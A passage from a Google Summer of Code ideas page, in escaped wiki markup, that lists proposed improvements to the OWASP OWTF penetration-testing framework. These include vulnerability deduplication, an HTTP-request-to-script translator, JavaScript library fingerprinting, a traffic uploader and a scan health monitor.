'''Expected Results:''' After last year's GSoC first version of project was released on Google play. However, educational component, setting check, potential android widgets are still missing and would be beneficial. Also, malicious behavior prevention mechanisms should be added and some bugs should be fixed.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisite:''' Average Android and JAVA programming. Knowledge of XML and SQLite Good experience with mobile applications.&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:Nikola Milosevic|Nikola Milosevic]]&lt;br /&gt;
&lt;br /&gt;
== OWASP OWTF ==&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - VMS - OWTF Vulnerability Management System ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
Background problem to solve:&lt;br /&gt;
&lt;br /&gt;
We are trying to reduce the human work burden where there will be hundreds of issues listing apache out of date or php out of date. &lt;br /&gt;
&lt;br /&gt;
Proposed solution:&lt;br /&gt;
&lt;br /&gt;
We can meta aggregate these duplicate issues into one issue of &amp;quot;outdated software / apache / php detected&amp;quot;. with XYZ list of issues in them.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A separate set of scripts that allows for grouping and management of vulnerabilities (i.e. think huge assessments), to be usable *both* from inside + outside of OWTF in a separate sub-repo here: https://github.com/owtf &lt;br /&gt;
&lt;br /&gt;
VMS will have the following features:&lt;br /&gt;
* Vulnerability correlation engine which will allow for quick identification of unique vulnerability and deduplication.&lt;br /&gt;
* Vulnerability table optimization : combining redundant vulnerabilities like example : PHP &amp;lt;5.1 , PHP &amp;lt; 5.2 , PHP &amp;lt; 5.3 all suggest upgrade php so if multiple issues are reported they should be combined.&lt;br /&gt;
* Integration with existing bug tracking system like example bugzilla, jira : Should not be too hard as all such system have one or the other method exposed (REST API or similar)&lt;br /&gt;
* Fix Validation : Since we integrate with bug tracking once dev fixed the bug and code deployed we can run specific checks via * OWTF or other tool (may be specific nessus or nexpose plugin or similar.)&lt;br /&gt;
* Management Dashboard : Could be exposed to Pentester, Higher Management where stats are shown with lesser details but more of high level overview.&lt;br /&gt;
&lt;br /&gt;
[http://www.slideshare.net/null0x00/nessus-and-reporting-karma Similar previous work for Nessus]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''&lt;br /&gt;
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''&lt;br /&gt;
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''&lt;br /&gt;
* CRITICAL: Excellent reliability -i.e. the Health Monitor cannot crash! :)-&lt;br /&gt;
* Good performance&lt;br /&gt;
* Unit tests / Functional tests&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''OWASP OWTF Mentor:'''&lt;br /&gt;
&lt;br /&gt;
Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - HTTP Request Translator Improvements ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
Problem to solve:&lt;br /&gt;
&lt;br /&gt;
There are many situations in web app pentests where just no tool will do the job and you need to script something, or mess around with the command line (classic example: sequence of steps where each step requires input from the previous step). In these situations, translating an HTTP request or a sequence of HTTP requests, takes valuable time which the pentester might just not really have.&lt;br /&gt;
&lt;br /&gt;
Proposed solution:&lt;br /&gt;
&lt;br /&gt;
An HTTP request translator, a *standalone* *tool* that can:&lt;br /&gt;
&lt;br /&gt;
1) Be used from inside OR outside of OWTF.&lt;br /&gt;
&lt;br /&gt;
2) Translate raw HTTP requests into curl commands or bash/python/php/ruby/PowerShell scripts&lt;br /&gt;
&lt;br /&gt;
3) Provide essential quick and dirty transforms: base64 (encode/decode), urlencode (encode/decode)&lt;br /&gt;
* Transforms with boundary strings? (TBD)&lt;br /&gt;
* Individually or in bulk? (TBD)&lt;br /&gt;
&lt;br /&gt;
'''Essential Function: &amp;quot;--output&amp;quot; argument'''&lt;br /&gt;
&lt;br /&gt;
CRITICAL: The command/script should be generated so that the request is sent as literally as possible.&lt;br /&gt;
&lt;br /&gt;
Example: NO client specific headers are sent. IF the original request had &amp;quot;User-Agent: X&amp;quot;, the generated command/script should have EXACTLY that (i.e. NOT a curl user agent, etc.). Obviously, the same applies to ALL other headers.&lt;br /&gt;
&lt;br /&gt;
NOTE: Ideally the following should be implemented using an extensible plugin architecture (i.e. NEW plugins are EASY to add)&lt;br /&gt;
* http request in =&amp;gt; curl command out&lt;br /&gt;
* http request in =&amp;gt; bash script out&lt;br /&gt;
* http request in =&amp;gt; python script out&lt;br /&gt;
* http request in =&amp;gt; php script out&lt;br /&gt;
* http request in =&amp;gt; ruby script out&lt;br /&gt;
* http request in =&amp;gt; PowerShell script out&lt;br /&gt;
&lt;br /&gt;
'''Basic additional arguments:'''&lt;br /&gt;
&lt;br /&gt;
- &amp;quot;--proxy&amp;quot; argument: generates the command/script with the relevant proxy option&lt;br /&gt;
&lt;br /&gt;
		NOTE: With this the command/script may send requests through a MiTM proxy (i.e. OWTF, ZAP, Burp, etc.)&lt;br /&gt;
&lt;br /&gt;
- &amp;quot;--string-search&amp;quot; argument: generates the command/script so that it:&lt;br /&gt;
&lt;br /&gt;
		1) performs the request&lt;br /&gt;
&lt;br /&gt;
		2) then searches for something in the response (i.e. literal match)&lt;br /&gt;
&lt;br /&gt;
- &amp;quot;--regex-search&amp;quot; argument: generates the command/script so that it:&lt;br /&gt;
		1) performs the request&lt;br /&gt;
&lt;br /&gt;
		2) then searches for something in the response (i.e. regex match)&lt;br /&gt;
&lt;br /&gt;
'''OWTF integration'''&lt;br /&gt;
&lt;br /&gt;
The idea here, is to invoke this tool from:&lt;br /&gt;
&lt;br /&gt;
1) Single HTTP transactions:&lt;br /&gt;
&lt;br /&gt;
For example, have a button to &amp;quot;export http request&amp;quot; + then show options equivalent to the flags&lt;br /&gt;
&lt;br /&gt;
2) Multiple HTTP transactions:&lt;br /&gt;
&lt;br /&gt;
Same as with Single transactions, but letting the user &amp;quot;select a number of transactions&amp;quot; first (maybe a checkbox?).&lt;br /&gt;
&lt;br /&gt;
		&lt;br /&gt;
'''Desired input formats:'''&lt;br /&gt;
&lt;br /&gt;
* Read raw HTTP request from stdin -Suggested default behaviour! :)-&lt;br /&gt;
&lt;br /&gt;
	Example: cat path/to/http_request.txt | http-request-translator.py --output&lt;br /&gt;
&lt;br /&gt;
* Interactive mode: read raw HTTP request from keyboard + &amp;quot;hit enter when ready&amp;quot;&lt;br /&gt;
&lt;br /&gt;
	Suggestion: This could be a &amp;quot;-i&amp;quot; (for &amp;quot;interactive&amp;quot;) flag and/or the fallback option when &amp;quot;stdin is empty&amp;quot;&lt;br /&gt;
&lt;br /&gt;
	Example:&lt;br /&gt;
&lt;br /&gt;
	1) User runs tool with desired flags (i.e. &amp;quot;--output ruby --proxy 127.0.0.1:1234 ...&amp;quot;, etc.)&lt;br /&gt;
&lt;br /&gt;
	2) Tool prints: &amp;quot;Please paste a raw HTTP request and hit enter when ready&amp;quot;&lt;br /&gt;
&lt;br /&gt;
	3) User pastes a raw HTTP requests + hits enter&lt;br /&gt;
&lt;br /&gt;
	4) Tool outputs whatever is relevant for the flags + http request given&lt;br /&gt;
&lt;br /&gt;
* For bulk processing: Maybe a directory of raw http request files?&lt;br /&gt;
&lt;br /&gt;
'''Nice to have: Transforms'''&lt;br /&gt;
&lt;br /&gt;
In the context of translating raw HTTP requests into commands/scripts, what we want here is to provide some handy &amp;quot;macros&amp;quot; so that the relevant command/script is generated accordingly.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&lt;br /&gt;
NOTE: Assume something like the following arguments: &amp;quot;--transform-boundary=@@@@@@@ --transform-language=php&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Step 1) The user provides a raw HTTP request like this:&lt;br /&gt;
&lt;br /&gt;
  GET /path/to/urlencode@@@@@@@abc d@@@@@@@/test&lt;br /&gt;
  Host: target.com&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Step 2) The tool generates a bash script like the following:&lt;br /&gt;
&lt;br /&gt;
  #!/bin/bash&lt;br /&gt;
  &lt;br /&gt;
  PARAM1=$(echo 'abc d' | php -r &amp;quot;echo urlencode(fgets(STDIN));&amp;quot;)&lt;br /&gt;
  curl ...... &amp;quot;http://target.com/path/to/$PARAM1/test&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
OR a &amp;quot;curl command&amp;quot; like the following:&lt;br /&gt;
  PARAM1=$(echo 'abc d' | php -r &amp;quot;echo urlencode(fgets(STDIN));&amp;quot;); curl ...... &amp;quot;http://target.com/path/to/$PARAM1/test&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This feature can be valuable to shave a bit more time in script writing.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''&lt;br /&gt;
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''&lt;br /&gt;
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''&lt;br /&gt;
* CRITICAL: Excellent reliability -i.e. the Health Monitor cannot crash! :)-&lt;br /&gt;
* Good performance&lt;br /&gt;
* Unit tests / Functional tests&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''OWASP OWTF Mentor:'''&lt;br /&gt;
&lt;br /&gt;
Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - JavaScript Library Sniper Improvements ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
This is a project that tries to resolve a very common problem during penetration tests:&lt;br /&gt;
&lt;br /&gt;
The customer is running a number of outdated JavaScript Libraries, but there is just not enough time to determine if something useful -i.e. something *really* bad! :)- can be done with that or not.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To solve this problem, we propose a *standalone* *tool* that can:&lt;br /&gt;
&lt;br /&gt;
1) Be run BOTH from inside AND outside of OWTF&lt;br /&gt;
&lt;br /&gt;
2) Build and *update* a fingerprint JavaScript library database of:&lt;br /&gt;
* Library File hashes =&amp;gt; JavaScript Library version&lt;br /&gt;
* Library File lengths =&amp;gt; JavaScript Library version&lt;br /&gt;
* (Nice to have:) As above, but for each individual github commit (possible drawback: too big?)&lt;br /&gt;
&lt;br /&gt;
3) Build and *update* a vulnerability database of:&lt;br /&gt;
* JavaScript Library version =&amp;gt; CVE - CVSS score - Vulnerability info&lt;br /&gt;
&lt;br /&gt;
4) Given a [ JavaScript file OR hash OR length ], found in the database, provides:&lt;br /&gt;
* JavaScript Library version&lt;br /&gt;
* List of vulnerabilities sorted in descending CVSS score order&lt;br /&gt;
&lt;br /&gt;
5) (very cool to have) Given a list of JavaScript files (maybe a directory), provides:&lt;br /&gt;
* ALL Library/vulnerability matches described on 4)&lt;br /&gt;
	&lt;br /&gt;
Once the standalone tool is built and verified to be working, OWTF should be able to:&lt;br /&gt;
&lt;br /&gt;
Feature 1) GREP plugin improvement (Web Application Fingerprint):&lt;br /&gt;
&lt;br /&gt;
Step 1) Lookup file lengths and hashes in the &amp;quot;JavaScript library database&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Step 2) If a match is found: provide the list of known vulnerabilities against &amp;quot;JavaScript library X&amp;quot; to the user&lt;br /&gt;
&lt;br /&gt;
Feature 2) SEMI-PASSIVE plugin improvement (Web Application Fingerprint):&lt;br /&gt;
&lt;br /&gt;
1) Requests all referenced BUT missing JavaScript files -i.e. scanners won't load JavaScript files! :)-&lt;br /&gt;
&lt;br /&gt;
2) re-runs the GREP plugin on the new files (i.e. to avoid missing vulns due to unrequested JavaScript files)&lt;br /&gt;
&lt;br /&gt;
Potential projects worth having a look for potential overlap/inspiration:&lt;br /&gt;
* [https://owasp.org/index.php/OWASP_Dependency_Check OWASP Dependency Check?]&lt;br /&gt;
&lt;br /&gt;
How many JavaScript libraries should be included?&lt;br /&gt;
* As many as possible, but especially the major ones: jQuery, knockout, etc.&lt;br /&gt;
* &amp;quot;Nirvana&amp;quot; Nice to have: ALL Individual versions of ALL JavaScript files from ALL opensource projects, (ideally) even if the project is not a JavaScript library -i.e. JavaScript files from Joomla, Wordpress, etc.-&lt;br /&gt;
&lt;br /&gt;
Common JavaScript library fingerprinting techniques include:&lt;br /&gt;
* Parse the JavaScript file and grab the version from there&lt;br /&gt;
* Determine the JavaScript version based on a hash of the file&lt;br /&gt;
* Determine the JavaScript version based on the length of the file&lt;br /&gt;
&lt;br /&gt;
Other Challenges:&lt;br /&gt;
* &amp;quot;the file&amp;quot; could be &amp;quot;the minimised file&amp;quot;, &amp;quot;the expanded file&amp;quot; or even &amp;quot;a specific JavaScript file from Library X&amp;quot;&lt;br /&gt;
* When the JavaScript file does not match a specific version:&lt;br /&gt;
	1) The commit that matches the closest should (ideally) be found&lt;br /&gt;
	2) The NEXT library version after that commit (if present) should be found&lt;br /&gt;
	3) From there, it is about reusing the knowledge to figure out public vulnerabilities, CVSS scores, etc. again&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''&lt;br /&gt;
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''&lt;br /&gt;
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''&lt;br /&gt;
* CRITICAL: Excellent reliability -i.e. the Health Monitor cannot crash! :)-&lt;br /&gt;
* Good performance&lt;br /&gt;
* Unit tests / Functional tests&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''OWASP OWTF Mentor:'''&lt;br /&gt;
&lt;br /&gt;
Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - Off-line HTTP traffic uploader ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
Although it is awesome that OWTF runs a lot of tools on behalf of the user, there are situations where uploading the HTTP traffic of another tool off-line can be very interesting for OWTF, for example:&lt;br /&gt;
&lt;br /&gt;
* Tools that OWTF has trouble proxying right now: skipfish, hoppy&lt;br /&gt;
* Tools that the user may have run manually OR even from a tool aggregator -very common! :)-&lt;br /&gt;
* Tools that we just don't run from OWTF: ZAP, Burp, Fiddler&lt;br /&gt;
&lt;br /&gt;
This project is about implementing an off-line utility able to parse HTTP traffic:&lt;br /&gt;
&lt;br /&gt;
1) Figure out how to read output files from various tools like:&lt;br /&gt;
skipfish, hoppy, w3af, arachni, etc.&lt;br /&gt;
Nice to have: ZAP database, Burp database&lt;br /&gt;
&lt;br /&gt;
2) Translate that into the following clearly defined fields:&lt;br /&gt;
&lt;br /&gt;
* HTTP request&lt;br /&gt;
* HTTP response status code&lt;br /&gt;
* HTTP response headers&lt;br /&gt;
* HTTP response body&lt;br /&gt;
&lt;br /&gt;
3) IMPORTANT: Implement a plugin-based uploader system&lt;br /&gt;
&lt;br /&gt;
4) IMPORTANT: Implement ONE plugin, that uploads that into the OWTF database&lt;br /&gt;
&lt;br /&gt;
5) IMPORTANT: OWTF should ideally be able to invoke the uploader right after running a tool&lt;br /&gt;
	Example: OWTF runs skipfish, skipfish finishes, OWTF runs the HTTP traffic uploader, all skipfish data is pushed to the OWTF DB.&lt;br /&gt;
&lt;br /&gt;
6) CRITICAL: The off-line HTTP traffic uploader should be smart enough to read + push 1-by-1 instead of *stupidly* trying to load everything into memory first, you have been warned! :)&lt;br /&gt;
&lt;br /&gt;
	Why? Because in a huge assessment, the output of &amp;quot;tool X&amp;quot; can be &amp;quot;10 GB&amp;quot;, which is *stupid* to load into memory, this is OWTF, we *really* try to foresee the crash before it happens! ;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
CRITICAL: It is important to implement a plugin-based uploader system, so that other projects can benefit from this work (i.e. to be able to import third-party tool data to ZAP, Burp, and other tools in a similar fashion), and hence hopefully join us in maintaining this project moving forward.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''&lt;br /&gt;
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''&lt;br /&gt;
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''&lt;br /&gt;
* CRITICAL: Excellent reliability -i.e. the Health Monitor cannot crash! :)-&lt;br /&gt;
* Good performance&lt;br /&gt;
* Unit tests / Functional tests&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''OWASP OWTF Mentor:'''&lt;br /&gt;
&lt;br /&gt;
Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - Health Monitor ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
In some cases, especially on large assessments (think: &amp;gt; 30 URLs) a number of things often go wrong and OWTF needs to recover from everything, which is difficult.&lt;br /&gt;
&lt;br /&gt;
For this reason, OWTF needs an independent module, which is completely detached from OWTF (a different process), to ensure the health of the assessment is in check at all times, this includes the following:&lt;br /&gt;
&lt;br /&gt;
'''Feature 1) Alerting mechanisms'''&lt;br /&gt;
&lt;br /&gt;
When any of the monitor alerts (see below) is triggered. The OWTF user will be notified immediately through ALL of the following means:&lt;br /&gt;
* Playing an mp3 song (both local and possibly remote locations)&lt;br /&gt;
* Scan status overview on the CLI&lt;br /&gt;
* Scan status overview on the GUI&lt;br /&gt;
&lt;br /&gt;
NOTE: A configuration file from where the user can enable/disable/configure all these mechanisms is desired.&lt;br /&gt;
&lt;br /&gt;
'''Feature 2) Corrective mechanisms'''&lt;br /&gt;
&lt;br /&gt;
Corrective mechanisms are also expected in this project, these will be accomplished sending OWTF api messages such as:&lt;br /&gt;
* Stop this tool&lt;br /&gt;
* Freeze this process (to continue later)&lt;br /&gt;
* Freeze the whole scan (to continue later)&lt;br /&gt;
&lt;br /&gt;
Additional mechanisms:&lt;br /&gt;
* Show a ranking of files that take the most space&lt;br /&gt;
&lt;br /&gt;
'''Feature 3) Target monitor'''&lt;br /&gt;
&lt;br /&gt;
Brief overview:&lt;br /&gt;
&lt;br /&gt;
All target URLs are checked for availability periodically (i.e. once x 5 minutes?), if a URL in scope goes down the pentester is alerted (see above).&lt;br /&gt;
&lt;br /&gt;
Potential approach: Check if length of 1st page changes every 60 seconds.&lt;br /&gt;
&lt;br /&gt;
NOTE: It might be needed to change this on the fly.&lt;br /&gt;
&lt;br /&gt;
More background&lt;br /&gt;
&lt;br /&gt;
Consider the following scenario:&lt;br /&gt;
&lt;br /&gt;
Current Situation aka &amp;quot;problem to solve&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
1) Website X goes down during a scan&lt;br /&gt;
&lt;br /&gt;
2) the customer notices&lt;br /&gt;
&lt;br /&gt;
3) the customer tells the boss&lt;br /&gt;
&lt;br /&gt;
4) the boss tells the pentester&lt;br /&gt;
&lt;br /&gt;
5) the pentester stops the tool which was *still* trying to scan THAT target (!!!!)&lt;br /&gt;
&lt;br /&gt;
Desired situation aka &amp;quot;solution&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
It would be much more professional AND efficient that:&lt;br /&gt;
&lt;br /&gt;
1) The pentester notices&lt;br /&gt;
&lt;br /&gt;
2) The pentester tells the boss&lt;br /&gt;
&lt;br /&gt;
3) The boss tells the customer&lt;br /&gt;
&lt;br /&gt;
4) OWTF stops the tool because it knows that website is DEAD anyway&lt;br /&gt;
&lt;br /&gt;
A target monitor could easily do this with heartbeat requests + playing mp3s&lt;br /&gt;
&lt;br /&gt;
The target monitor will use the api to tell OWTF &amp;quot;this target is dead: freeze(stop?) current tests, skip target in future tests&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Feature 4) Disk space monitor'''&lt;br /&gt;
&lt;br /&gt;
Another problem that is relatively common in large assessments, is that all disk space is used and the scanning box becomes unresponsive or crashes. When this happens it is too late, the pentester may also see this coming but wonder “which are the biggest files in the filesystem that I can delete”, it is not ideal to have to look for these files in a moment when the scanning box is about to crash :).&lt;br /&gt;
&lt;br /&gt;
Proposed solution:&lt;br /&gt;
&lt;br /&gt;
Regularly monitor how much disk space is left, especially on the partition where OWTF is writing the review (but also tool directories such as /home/username/.w3af/tmp, etc.). Keep track of files created by OWTF and all called tools and sort them by size in descending order. Then when the disk space is going low (i.e. predefined threshold), an mp3 or similar is played and this list is displayed to the user, so that they know what to delete to survive :).&lt;br /&gt;
&lt;br /&gt;
'''Feature 5) Network/Internet Connectivity monitor'''&lt;br /&gt;
&lt;br /&gt;
Sometimes it may also happen that ISP, etc. connectivity go down in the middle of a scan, this is often a very unfortunate situation since most tools are scanning in parallel and they won’t be able to produce a report OR even resume (i.e. A LOT is lost). The goal here is that OWTF does all of the following automatically:&lt;br /&gt;
&lt;br /&gt;
1) Detects the lack of connectivity&lt;br /&gt;
&lt;br /&gt;
2) Freezes all the tools (read: processes) in progress&lt;br /&gt;
&lt;br /&gt;
3) Resumes the scan when the connectivity is back.&lt;br /&gt;
&lt;br /&gt;
'''Feature 6) Tool crash detection'''&lt;br /&gt;
&lt;br /&gt;
Sometimes, certain tools (most notably, ahem, w3af), when they crash they do NOT exit. This leaves OWTF in a difficult position where 1+ process is waiting for nothing, forever (i.e. because “Tool X” will never finish)&lt;br /&gt;
&lt;br /&gt;
'''Feature 7) Tool (Plugin?) CPU/RAM/Bandwidth abuse detection and correction'''&lt;br /&gt;
&lt;br /&gt;
OWTF needs to notice when some tools crash and/or “go beserk” with RAM/CPU/Bandwidth consumption, this is different from the existing built-in checks in OWTF like “do not launch a new tool if there is less than XYZ RAM free” and more like “if tool X is using &amp;gt; XYZ of the available RAM/CPU/Bandwidth” and this is (potentially) negatively affecting other tools/tests, then throttle it.&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''&lt;br /&gt;
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''&lt;br /&gt;
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''&lt;br /&gt;
* CRITICAL: Excellent reliability -i.e. the Health Monitor cannot crash! :)-&lt;br /&gt;
* Good performance&lt;br /&gt;
* Unit tests / Functional tests&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''OWASP OWTF Mentor:'''&lt;br /&gt;
&lt;br /&gt;
Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - Installation Improvements and Package manager ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
This project is to implement what was suggested in the following github issue:&lt;br /&gt;
[https://github.com/owtf/owtf/issues/192 https://github.com/owtf/owtf/issues/192]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Recently i tried to make a fresh installation of OWTF. The installation process takes too much time. Is there any way to make the installation faster?&lt;br /&gt;
Having a private server with:&lt;br /&gt;
* pre-installed files for VMs&lt;br /&gt;
* pre-configured and patched tools&lt;br /&gt;
* Merged Lists&lt;br /&gt;
* Pre-configured certificates&lt;br /&gt;
Additionally a minimal installation which will install the core of OWTF with the option of update can increase the installation speed. The update procedure will start fetching the latest file versions from the server and copy them to the right path.&lt;br /&gt;
Additional ideas are welcome.&lt;br /&gt;
&lt;br /&gt;
-- They could be hosted on Dropbox or a private VPS :)&lt;br /&gt;
&lt;br /&gt;
2 Installation Modes&lt;br /&gt;
* For high speed connections (Downloading the files uncompressed)&lt;br /&gt;
* For low speed connections (Downloading the files compressed)&lt;br /&gt;
and the installation crashed because i runned out of space in the vm&lt;br /&gt;
IMPORTANT NOTE: OWTF should check the available disk space BEFORE installation starts + warn the user if problems are likely&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''&lt;br /&gt;
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''&lt;br /&gt;
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''&lt;br /&gt;
* Excellent reliability (i.e. proper exception handling, etc.)&lt;br /&gt;
* Good performance&lt;br /&gt;
* Unit tests / Functional tests&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
'''OWASP OWTF Mentor:'''&lt;br /&gt;
&lt;br /&gt;
Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - Testing Framework Improvements ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
As OWASP OWTF grows it makes sense to build custom unit tests to automatically re-test that functionality has not been broken. In this project we would like to improve the existing unit testing framework so that creating OWASP OWTF unit tests is as simple as possible and all missing tests for new functionality are created. The goal of this project is to update the existing Unit Test Framework to create all missing tests as well as improve the existing ones to verify OWASP OWTF functionality in an automated fashion.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Top features'''&lt;br /&gt;
&lt;br /&gt;
